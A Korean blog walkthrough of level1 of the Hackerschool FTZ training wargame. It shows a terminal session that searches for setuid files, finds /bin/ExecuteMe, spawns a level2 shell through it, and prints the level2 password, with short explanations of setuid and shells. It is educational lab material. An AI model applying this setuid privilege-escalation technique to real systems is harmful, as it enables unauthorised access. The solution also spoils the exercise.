-
해커스쿨 FTZ level1정보보안/포너블 2017. 12. 26. 14:56123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134login as: level1level1@192.168.244.128's password:[level1@ftz level1]$ lshint public_html tmp[level1@ftz level1]$ cd hint-bash: cd: hint: Not a directory[level1@ftz level1]$ clear[level1@ftz level1]$ lshint public_html tmp[level1@ftz level1]$ cat hintlevel2 권한에 setuid가 걸린 파일을 찾는다.[level1@ftz level1]$ find / -user level2 -perm -4000find: /lost+found: Permission deniedfind: /boot/lost+found: Permission deniedfind: /proc/1/fd: Permission deniedfind: /proc/2/fd: Permission deniedfind: /proc/3/fd: Permission deniedfind: /proc/4/fd: Permission deniedfind: /proc/9/fd: Permission deniedfind: /proc/5/fd: Permission deniedfind: /proc/6/fd: Permission deniedfind: /proc/7/fd: Permission deniedfind: /proc/8/fd: Permission deniedfind: /proc/10/fd: Permission deniedfind: /proc/11/fd: Permission deniedfind: /proc/19/fd: Permission deniedfind: /proc/77/fd: Permission deniedfind: /proc/1165/fd: Permission deniedfind: /proc/1474/fd: Permission deniedfind: /proc/1530/fd: Permission deniedfind: /proc/1534/fd: Permission deniedfind: /proc/1552/fd: Permission deniedfind: /proc/1571/fd: Permission deniedfind: /proc/1638/fd: Permission deniedfind: /proc/1675/fd: Permission deniedfind: /proc/1709/fd: Permission deniedfind: /proc/1718/fd: Permission deniedfind: /proc/1728/fd: Permission deniedfind: /proc/1737/fd: Permission deniedfind: /proc/1746/fd: Permission deniedfind: /proc/1767/fd: Permission deniedfind: /proc/1782/fd: Permission deniedfind: /proc/1812/fd: Permission deniedfind: /proc/1824/fd: Permission deniedfind: /proc/.1825/fd: Permission deniedfind: /proc/.1826/fd: Permission deniedfind: /proc/.1827/fd: Permission deniedfind: /proc/.1828/fd: Permission deniedfind: /proc/.1829/fd: Permission deniedfind: /proc/.1830/fd: Permission deniedfind: /proc/.1831/fd: Permission deniedfind: /proc/.1832/fd: Permission deniedfind: /proc/1877/fd: Permission deniedfind: /proc/1878/fd: Permission deniedfind: /proc/1879/fd: Permission deniedfind: /proc/1880/fd: Permission deniedfind: /proc/1881/fd: Permission deniedfind: /proc/1882/fd: Permission deniedfind: /proc/1883/fd: Permission deniedfind: /proc/1884/fd: Permission deniedfind: /proc/2234/fd: Permission deniedfind: /proc/2236/fd: Permission deniedfind: /var/lib/slocate: Permission deniedfind: /var/lib/nfs/statd: Permission deniedfind: /var/lib/dav: Permission deniedfind: /var/lib/mysql/mysql: Permission deniedfind: /var/lib/mysql/test: Permission deniedfind: /var/lib/pgsql: Permission deniedfind: /var/log/httpd: Permission deniedfind: /var/log/squid: Permission deniedfind: /var/log/samba: Permission deniedfind: /var/cache/mod_ssl: Permission deniedfind: /var/cache/alchemist/printconf.rpm: Permission deniedfind: /var/cache/alchemist/printconf.local: Permission deniedfind: /var/run/sudo: Permission deniedfind: /var/spool/at: Permission deniedfind: /var/spool/clientmqueue: Permission deniedfind: /var/spool/mqueue: Permission deniedfind: /var/spool/cron: Permission deniedfind: /var/spool/squid: Permission deniedfind: /var/empty/sshd: Permission deniedfind: /var/tux: Permission deniedfind: /tmp/cgn5EpxN: Permission deniedfind: /etc/sysconfig/pgsql: Permission deniedfind: /etc/default: Permission deniedfind: /etc/httpd/conf/ssl.crl: Permission deniedfind: /etc/httpd/conf/ssl.crt: Permission deniedfind: /etc/httpd/conf/ssl.csr: Permission deniedfind: /etc/httpd/conf/ssl.key: Permission deniedfind: /etc/httpd/conf/ssl.prm: Permission deniedfind: /root: Permission deniedfind: /usr/share/ssl/CA: Permission denied/bin/ExecuteMefind: /home/clear: Permission deniedfind: /home/level10/program: Permission deniedfind: /home/level5/tmp: Permission deniedfind: /home/trainer1: Permission deniedfind: /home/trainer10: Permission deniedfind: /home/trainer2: Permission deniedfind: /home/trainer3: Permission deniedfind: /home/trainer4: Permission deniedfind: /home/trainer5: Permission deniedfind: /home/trainer6: Permission deniedfind: /home/trainer7: Permission deniedfind: /home/trainer8: Permission deniedfind: /home/trainer9: Permission denied[level1@ftz level1]$ ls -al /bin/ExecuteMe-rwsr-x--- 1 level2 level1 12868 Sep 10 2011 /bin/ExecuteMe[level1@ftz level1]$ file /bin/ExecuteMe/bin/ExecuteMe: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped[level1@ftz level1]$ cd /bin[level1@ftz bin]$ ExecuteMe레벨 2의 권한으로 당신이 원하는 명령어를한가지 실행시켜 드리겠습니다.(단, my-pass나 chmod는 제외)어떤 명령을 실행시키겠습니까?[level2@ftz level2]$ bash[level2@ftz level2]$ my-passLevel2 Password is "hacker or cracker".
cs find / -user level2 -perm 4000 : 루트에서부터 SetUID(4000)가 설정되어 level2 user의 소유자권한을 빌려와서 실행되는 파일을 찾는다.
file : file type을 확인하는 명령어
shell(쉘): 사용자가 입력한 명령을 해석하여 대신 실행해주는 인터페이스를 지닌 프로그램이다.
level2의 권한으로 bash 명령어를 사용하면 기존의 level1 권한의 쉘에서 level2 권한의 쉘이 덮어씌워지며 권한이 상승된다.
즉, level1의 쉘은 level1이라는 user의 권한 내의 명령만 사용이 가능했다면
level2의 쉘을 얻어냄으로써 level2라는 user의 권한이 필요한 명령이나 file에 access할 수 있게 된 것이다.
my-pass : 실제 Linux system에는 없고 해커스쿨 FTZ에만 있는 명령으로 레벨업을 위해 실행되고 있는 쉘의 user의 password를 출력하는 명령이다.
'정보보안 > 포너블' 카테고리의 다른 글
pwnable.kr 1번 fd (0) 2017.12.26 해커스쿨 FTZ level4 (0) 2017.12.26 해커스쿨 FTZ level3 (0) 2017.12.26 해커스쿨 FTZ level2 (0) 2017.12.26 note (0) 2017.12.20